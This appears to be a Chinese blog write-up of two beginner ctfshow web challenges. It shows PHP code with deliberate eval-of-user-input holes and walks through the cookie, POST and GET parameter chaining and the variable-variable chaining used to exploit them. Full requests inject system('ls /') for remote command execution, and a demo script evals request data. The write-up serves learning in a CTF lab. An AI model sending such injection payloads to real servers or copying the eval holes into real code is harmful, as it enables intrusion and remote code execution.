Web Ctfshow WriteUp 新手必刷_菜狗杯


1.web签到

 <?php
// 注释信息
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
 
 
error_reporting(0);        // 关闭错误报告
highlight_file(__FILE__);  // 当前文件高亮显示
 
// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

  1. 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key,这一步将 ck_val_post_key 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。

  2. _POST 函数收到 _COOKIE 传入的 ck_val_post_key 后,将ck_val_post_key 作为变量名(POST的Key)接收 post 请求的传参,因此在数据包最后插入一行 ck_val_post_key=post_val_get_key 作为 post 请求的参数,这一步将post_val_get_key 作为参数传入 ck_val_post_key。在下一步post_val_get_key将作为变量名(Get的Key)接收 Get 请求的传参

  3. _GET 函数收到 _POST 函数传入的 post_val_get_key 后,将 post_val_get_key作为变量名接收 get 请求的传参,因此在url 后插入 ?post_val_get_key=get_val_req_key 作为 get 请求的参数,这一步将 get_val_req_key 作为参数传入 post_val_get_key。

  4. _REQUEST 函数收到 __GET 函数传入的 get_val_req_key 后,将 get_val_req_key 作为变量名接收 get 或 post 请求的传参,这里我们可以通过 post 或者Get请求传参。在第 3 步插入的 post_val_get_key=get_val_req_key 后加入 &get_val_req_key[6][0][7][5][8][0][9][4][4]=system(‘ls /’);或者(POST方法)在第 2步插入的 ck_val_post_key=post_val_get_key后加入 &get_val_req_key[6][0][7][5][8][0][9][4][4]=system(‘ls /’);

  5. eval 函数接收到 system(‘ls’); 后将字符串按 php 代码执行,对当前目录进行查询。

最终用HackBar构造的请求如下:

https://5587916f-7262-4b1e-9e2c-4cb039a24edb.challenge.ctf.show/?post_val_get_key=get_val_req_key&get_val_req_key[6][0][7][5][8][0][9][4][4]=system('ls /');

Body:ck_val_post_key=post_val_get_key

Cookie:CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key

或者

https://5587916f-7262-4b1e-9e2c-4cb039a24edb.challenge.ctf.show/?post_val_get_key=get_val_req_key

Body:ck_val_post_key=post_val_get_key&get_val_req_key[6][0][7][5][8][0][9][4][4]=system('ls /');

Cookie:CTFshow-QQ%E7%BE%A4%3A=ck_val_post_key

为了加深对PHP接受请求的理解,我写了一个小demo进行了测试

Demo

<?php
// 开启错误显示,方便查看具体报错信息,在实际生产环境中可根据需求调整错误报告级别
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 输出 $_GET 变量的内容
echo "\n======== GET 变量内容 ========\n";
var_dump($_GET);

// 输出 $_REQUEST 变量的内容
echo "\n======== REQUEST 变量内容 ========\n";
var_dump($_REQUEST);

try {
    $postValGetKey = $_GET['post_val_get_key']?? '';
    // 尝试执行可能出现问题的表达式,并打印结果(实际会因参数格式问题报错)
    $result = $_REQUEST[$_GET['post_val_get_key']][6];
    echo "\n======== 执行表达式_REQUEST[_GET['post_val_get_key']][6]的结果 ========\n";
    var_dump($result);
    eval($result);
} catch (\Throwable $e) {
    // 如果出现错误,打印错误信息
    echo "======== 出现错误,错误信息如下 ========\n";
    echo $e->getMessage();
}
?>

得到的结果如下

======== GET 变量内容 ========

array(1) { ["post_val_get_key"]=> string(15) "get_val_req_key" }

  

 ======== REQUEST 变量内容 ========

 array(2) {

    ["post_val_get_key"]=> string(15) "get_val_req_key"

    ["get_val_req_key"]=> array(1) { [6]=> string(13) "system('ls');" }

    }

  

 ======== 执行表达式_REQUEST[_GET['post_val_get_key']][6]的结果 ========

 string(13) "system('ls');"

【Loading 19/21】Web_ctfshow_WriteUp | _新手必刷_菜狗杯 - Guanz - 博客园

2.我的眼里只有$

知识点:

在 PHP 中,多个$符号的特性主要与变量的可变变量有关,以下是详细解释:
基本概念
当使用一个$符号时,是在直接引用一个已定义的变量,例如$a = 10;,这里$a就是一个普通的变量,它存储了值10 。
而当使用两个或多个$符号时,就涉及到了可变变量的概念。可变变量允许动态地创建和使用变量名。也就是说,一个变量的名称可以由另一个变量的值来决定。

多个$符号的情况
语法:可以连续使用多个$符号,如$$$var_name等,从右向左依次解析。
示例:

$a = 'b';
$b = 'c';
$c = 20;
echo $$$a; 
// 输出20,首先$a的值是'b',所以$$a相当于$b,而$b的值是'c',所以$$$a相当于$c,$c的值是20

extract($_POST);
extract()函数是 PHP 内置函数,它的作用是将数组中的键值对导入到当前的符号表中,在这里它接收$_POST超全局变量作为参数。$_POST超全局变量用于收集通过 HTTP POST 方法提交的数据(比如表单数据等)。例如,如果$_POST数组中有元素['name' => 'John'],执行extract($_POST)后,就相当于创建了一个名为name的变量,其值为John,可以直接在后续代码中使用$name来访问这个值了。

题目:

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

根据之前的示例

$a = 'b';
$b = 'c';
$c = 20;
echo $$$a; 
// 输出20,首先$a的值是'b',所以$$a相当于$b,而$b的值是'c',所以$$$a相当于$c,$c的值是20

对于3个$的情况,要让$$$a = 20 ,需要2个其它变量为可变变量来传递最后$c=20这个值,题目中有36个$,则需要35个可变变量。分析完毕,构造POST请求如下:

Body:_=b1&b1=b2&b2=b3&b3=b4&b4=b5&b5=b6&b6=b7&b7=b8&b8=b9&b9=b10&b10=b11&b11=b12&b12=b13&b13=b14&b14=b15&b15=b16&b16=b17&b17=b18&b18=b19&b19=b20&b20=b21&b21=b22&b22=b23&b23=b24&b24=b25&b25=b26&b26=b27&b27=b28&b28=b29&b29=b30&b30=b31&b31=b32&b32=b33&b33=b34&b34=b35&b35=system('ls /');


文章作者: 周master
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 周master !
  目录